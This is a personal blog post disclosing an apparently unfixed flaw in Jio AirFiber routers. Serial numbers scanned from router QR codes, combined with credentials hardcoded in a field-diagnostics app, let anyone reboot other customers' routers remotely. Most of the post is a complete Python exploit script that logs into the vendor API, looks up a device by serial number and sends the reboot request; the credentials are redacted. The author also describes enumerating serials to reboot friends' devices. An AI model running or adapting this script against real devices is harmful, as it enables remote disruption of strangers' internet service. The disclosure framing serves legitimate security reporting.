# How I rebooted my friend's Jio Airfiber Router remotely

*this vulnerability was reported and Jio refused to acknowledge and claimed it wasn't their domain, hence a few urls/credentials/tokens might be redacted.*

I had Jio's AirFiber connection setup around September 2024 and was enjoying it(whoops, my previous FTTH provider had a lot of downtimes).

As a curious idiot of course I started messing around, and I eventually gained root access to the router and had my own fun around(with the help from a few friends at JFC-Group)

Turns out Jio had JioFieldDiagnostics app(now defunct), which was actively used by Jio Field Engineers to deploy the Outdoor Unit to deploy e-sim.

i tried installing the app on my phone and I went to "Scan QR Code" page without any logins, and I tried scanning the QR code which was present in the back side of Indoor Unit(the router)

![](https://cdn.hashnode.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/276fb86a-de2c-43c8-b534-7072a5e823d1.png align="center")

Voila! I had the option to open JioHome from the JFD app.

![](https://cdn.hashnode.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/e5618c4d-1c02-41b3-8821-4015d8d71de1.png align="center")

![](https://cdn.hashnode.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/ddd02189-de12-4f09-8e3a-22e23da0526d.png align="center")

Connect to ODCPE option always failed for me, looks like it had some Bluetooth Auth mechanism built in and I wasn't too interested in that either.

I clicked on the Cable Diagnostic Tests and it opened up a different page.

![](https://cdn.hashnode.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/3dc419d4-06bb-48eb-afa9-9613036ca8d4.png align="center")

The refresh like looking button looked interesting, gave it a click and my router started rebooting itself. That caught my attention and I started trying out my methods.

My initial starting point was to figure out what was present in the QR Code.

QR DATA:

`<?xml version="1.0" encoding="UTF-8"?>`  
`<!--Document created by: RJIL` [`http://jio.com`](http://jio.com) `-->`  
`<MFRNAME>Telpa</MFRNAME>`  
`<MODELNO>JIDU6801</MODELNO>`  
`<SRNO>RTHHGXXXXXXXX</SRNO>`  
`<EAN>86990XXXXXXX</EAN>`  
`<MACID>4C82XXXXXXXX</MACID>`  
`<SSID>AirFiber-Gang5y</SSID>`  
`<PWD>phae1toXXXXXXXXXXX</PWD>`

I tried incrementing the SRNO variable and tried scanning again, and it once again presented me with some data and it rebooted successfully. WOW.

I asked a few friends around for their SRNO/RSN and tried, and I was able to reboot them remotely.(It was fun, trust me :)  )

i thought I should dig in deeper, so I fired up mitmproxy and connected my phone over Wireguard and I started monitoring requests.

So each time I fire up the app, it makes request to "[https://piranha.aps1.prod.rho.jiohs.net/api/Customers/login](https://piranha.aps1.prod.rho.jiohs.net/api/Customers/login)" and obtains an Authorization Bearer token, then proceeds to send requests to [https://piranha.aps1.prod.rho.jiohs.net/api/nodes/RSN](https://piranha.aps1.prod.rho.jiohs.net/api/nodes/RSN) to get some data and then finally send a reboot request via "[https://piranha.aps1.prod.rho.jiohs.net/api//Customers/](https://piranha.aps1.prod.rho.jiohs.net/api//Customers/){customer\_id}/locations/{location\_id}/nodes/{node\_id}/reboot?&access\_token={access\_token}"

I did not take any screenshots while mitm'ing their app, sorry :(

I quickly wrote a python script, so that I can just supply the RSN/SRNO and have any AirFiber device rebooted.

I have censored credentials that was used to authenticate to the login endpoint(It was hardcoded in their JFD App. LOL)

```plaintext
import requests
import json


def login(email, password):
    url = "https://piranha.aps1.prod.rho.jiohs.net/api/Customers/login"
    headers = {
        'content-type': 'application/json',
        'user-agent': 'okhttp/5.0.0-alpha.11'
    }
    data = json.dumps({
        "email": email,
        "password": password
    })
    response = requests.post(url, headers=headers, data=data)
    response.raise_for_status()
    return response.json()


def get_node_details(node_id, access_token):
    url = f"https://piranha.aps1.prod.rho.jiohs.net/api/nodes/{node_id}"
    headers = {
        'Authorization': f'{access_token}'
    }
    response = requests.get(url, headers=headers)
    response.raise_for_status()
    return response.json()




def reboot_node(access_token, customer_id, location_id, node_id, delay=5):
    url = f"https://piranha.aps1.prod.rho.jiohs.net/api//Customers/{customer_id}/locations/{location_id}/nodes/{node_id}/reboot?&access_token={access_token}"
    headers = {
        'accept': 'application/json',
        'content-type': 'application/x-www-form-urlencoded',
        'user-agent': 'okhttp/5.0.0-alpha.11'
    }
    data = f"delay={delay}"
    response = requests.put(url, headers=headers, data=data)




def main():
    email = "XXXX@jio.com"
    password = "XXXXXXXXXXXXXXXX"
    node_id = input("Enter the RSN (node ID): ")
    login_response = login(email, password)
    access_token = login_response["id"]
    user_id = login_response["userId"]
    node_details = get_node_details(node_id, access_token)
    customer_id = node_details["customerId"]
    location_id = node_details["locationId"]
    reboot_response = reboot_node(access_token, customer_id, location_id, node_id)
    print("IDU Rebooted :)")


if __name__ == "__main__":
    main()
```

I sent over the report, they asked for a more detailed one with more steps and I did too.

At the end they closed it with,

`Dear Security Researcher,`

`This domain does not belong to us , it's an out of scope bug so we are closing this as false positive.`

`Regards,`

`Jio Bugs Reporting Team`

I guess, jiohs.net might be Plume's, but the hardcoded credentials present in the app was funny to me.

Disclosure: No bug bounty was awarded.

This vulnerability is still to be fixed, but since Jio has marked it as "Out of Scope" I decided to publish this in my blog.

If anyone from JIo wants to contact me regarding the above, they can do so at, administrator @ soundar dot net.

Thank you for reading! :)
